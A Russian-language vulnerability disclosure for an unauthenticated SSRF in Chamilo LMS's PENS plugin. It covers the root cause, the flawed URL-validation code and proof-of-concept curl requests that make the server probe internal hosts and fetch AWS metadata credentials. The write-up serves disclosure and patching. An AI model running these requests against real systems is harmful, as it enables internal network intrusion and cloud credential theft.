
Неаутентифицированная SSRF-эксплуатация плагина PENS в Chamilo LMS, демонстрирующая два вектора доступа к внутренним сетям и облачным метаданным, с PoC и анализом первопричины.
Уровень серьёзности: Высокий (CVSS 8.6)
CWE: CWE-918 (подделка запросов на стороне сервера)
Затронуто: chamilo/chamilo-lms 2.0-RC.2
Исправлено в: 2.0-RC.3
Рекомендация: GHSA-g2xj-4cch-j276
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34160
Автор находки: Romain Deperne
Конечная точка плагина PENS (Package Exchange Notification Services) public/plugin/Pens/pens.php доступна без аутентификации и принимает контролируемые пользователем URL-адреса как для загрузки пакетов, так и для уведомлений обратного вызова. Функции проверки URL проверяют схему и наличие хоста, но не выполняют фильтрацию частных IP-адресов, что позволяет неаутентифицированную SSRF во внутренние сети и сервисы облачных метаданных.
После CVE-2026-33715 я изучил другие неаутентифицированные конечные точки Chamilo с сетевыми побочными эффектами. Плагин PENS (public/plugin/Pens/) загружает пакеты с внешних URL-адресов и отправляет обратные вызовы на внешние серверы, создавая две поверхности SSRF.
Я изучил PensProcessor.php в поисках логики проверки URL. isAllowedDownloadUrl() и isAllowedCallbackUrl() обе проверяют схему (http/https) и непустой хост — и на этом останавливаются. Никакой фильтрации RFC 1918, никакой проверки loopback, никакой проверки link-local. Комментарий даже гласит «returns true» после проверки хоста, что явно указывало на то, что код был написан без учёта SSRF.
Что отличает эту уязвимость от предыдущей CVE в Chamilo: она имеет два независимых вектора SSRF — один для загрузки пакета (сервер извлекает файл с контролируемого злоумышленником URL) и один для обратных вызовов (сервер выполняет POST на контролируемые злоумышленником конечные точки). Вектор обратного вызова особенно полезен для эксфильтрации ответов внутренних сервисов, поскольку сервер отправит данные статуса PENS на любой указанный вами URL, а вы контролируете разбор ответа.
В облачных развёртываниях конечная точка метаданных 169.254.169.254 достижима через оба вектора.
Файл: public/plugin/Pens/lib/PensProcessor.php
Два различных вектора SSRF:
Вектор 1 — загрузка по URL пакета (строки 376, 138):
private function isAllowedDownloadUrl(string $url): bool
{
$parts = parse_url($url);
$scheme = strtolower((string) ($parts['scheme'] ?? ''));
if (!in_array($scheme, ['http', 'https'], true)) { return false; }
$host = strtolower((string) ($parts['host'] ?? ''));
if ('' === $host) { return false; }
return true; // ← no private IP check
}
// Then fetched with curl:
curl_setopt($curlHandle, CURLOPT_URL, $request->getPackageUrl());
$result = curl_exec($curlHandle);
Вектор 2 — Callback SSRF (строка 318): параметры receipt и alerts задают URL, на которые сервер отправляет POST-колбэки — та же отсутствующая валидация.
isAllowedDownloadUrl() и isAllowedCallbackUrl() проверяют только то, что URL имеет схему http/https и непустой хост. Приватные диапазоны RFC 1918 (10.x, 172.16.x, 192.168.x), loopback (127.x), link-local (169.254.x — метаданные облака) и их IPv6-эквиваленты — все принимаются.
# Vector 1: Probe internal network via package-url
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://192.168.1.1:80/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test-123" \
-d "client=test" \
-d "system-user=test"
# AWS metadata endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
# Vector 2: Callback SSRF — server POSTs to attacker-controlled internal endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://example.com/legit.zip" \
-d "receipt=http://10.0.0.50:8080/internal-endpoint" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
169.254.169.254Примечание: это отличается от CVE-2022-27426 (SSRF в инструментах social/links) — другой путь в коде, другой плагин, без аутентификации.